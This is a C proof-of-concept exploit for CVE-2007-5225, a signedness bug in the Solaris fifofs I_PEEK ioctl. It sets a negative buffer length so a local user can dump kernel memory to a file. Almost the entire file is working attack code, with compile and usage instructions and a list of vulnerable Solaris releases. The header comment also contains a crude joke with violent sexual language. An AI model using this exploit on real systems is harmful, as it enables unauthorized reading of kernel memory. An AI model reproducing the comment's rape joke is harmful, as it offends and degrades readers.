/* * $Id: raptor_peek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $ * * raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak * Copyright (c) 2007 Marco Ivaldi * * [Lame] integer signedness error in FIFO filesystems (named pipes) on Sun * Solaris 8 through 10 allows local users to read the contents of unspecified * memory locations via a negative value to the I_PEEK ioctl (CVE-2007-5225). * * /\ AS PART OF A VAST WORLD-WIDE CONSPIRACY * hjm / \ I COMMAND THEE: BEAT OFF UNTO ME * /,--.\ * /< () >\ IF I SAY "FNORD" AT THE END OF A SENTENCE * / `--' \ DOES THAT MAKE ME REALLY FUNNY OR SOMEONE * / \ WHO NEEDS TO GET FUCKING BEATEN TO NEAR * / \ DEATH AND THEN RAPED WITH A BROOM * /______________\ * AS YOU CAN SEE THAT'S REALLY TWO JOKES IN ONE * SO YOU REALLY GET YOUR MONEY'S WORTH HERE * Usage: * $ gcc raptor_peek.c -o raptor_peek -Wall * $ ./raptor_peek kerndump 666666 * [...] * $ ls -l kerndump * -rwx------ 1 raptor staff 666666 Oct 17 19:33 kerndump * * Vulnerable platforms (SPARC): * Solaris 8 without patch 109454-06 [tested] * Solaris 9 without patch 117471-04 [tested] * Solaris 10 without patch 127737-01 [tested] * * Vulnerable platforms (x86): * Solaris 8 without patch 109455-06 [untested] * Solaris 9 without patch 117472-04 [untested] * Solaris 10 without patch 127738-01 [untested] */ #include #include #include #include #include #include #include #include #define INFO1 "raptor_peek.c - Solaris fifofs I_PEEK kernel memory leak" #define INFO2 "Copyright (c) 2007 Marco Ivaldi " #define BADFIFO "/tmp/fnord" #define BUFSIZE 1000000 int errno; int main(int argc, char **argv) { int fd, fifo; size_t out, bufsize = BUFSIZE; char *buf; struct strpeek peek; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc < 2) { fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]); exit(1); } if (argc > 2) if ((bufsize = atoi(argv[2])) == 0) { fprintf(stderr, "Error (atoi): invalid outsize\n"); exit(1); } /* print some output */ fprintf(stderr, "Using outfile\t: %s\n", argv[1]); fprintf(stderr, "Using outsize\t: %u\n\n", bufsize); /* prepare the output buffer */ if ((buf = (char *)malloc(bufsize)) == NULL) { perror("Error (malloc)"); fprintf(stderr, "Hint: Try again with a smaller output size\n"); exit(1); } memset(buf, 0, bufsize); /* create the named pipe */ unlink(BADFIFO); if (mknod(BADFIFO, S_IFIFO | S_IRWXU, 0) < 0) { perror("Error (mknod)"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("Error (fork)"); exit(1); case 0: /* the child writes */ if ((fifo = open(BADFIFO, O_WRONLY, 0)) < 0) { perror("Error (open)"); exit(1); } write(fifo, "FNORD", 5); exit(0); default: /* the parent reads */ /* FALL THROUGH */ ; } /* perform the MAGICK */ if ((fifo = open(BADFIFO, O_RDONLY, 0)) < 0) { perror("Error (open)"); exit(1); } memset(&peek, 0, sizeof(peek)); peek.databuf.buf = buf; peek.databuf.maxlen = -1; /* FNORD! */ if (ioctl(fifo, I_PEEK, &peek) < 0 ) { perror("Error (ioctl)"); close(fifo); exit(1); } /* save output to outfile */ if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) { perror("Error (open)"); close(fifo); exit(1); } out = write(fd, buf, bufsize); fprintf(stderr, "FNORD! %u bytes written to %s\n", out, argv[1]); fprintf(stderr, "Hint: Try also with a bigger output size\n"); /* cleanup (who cares about free?;) */ close(fd); close(fifo); exit(0); }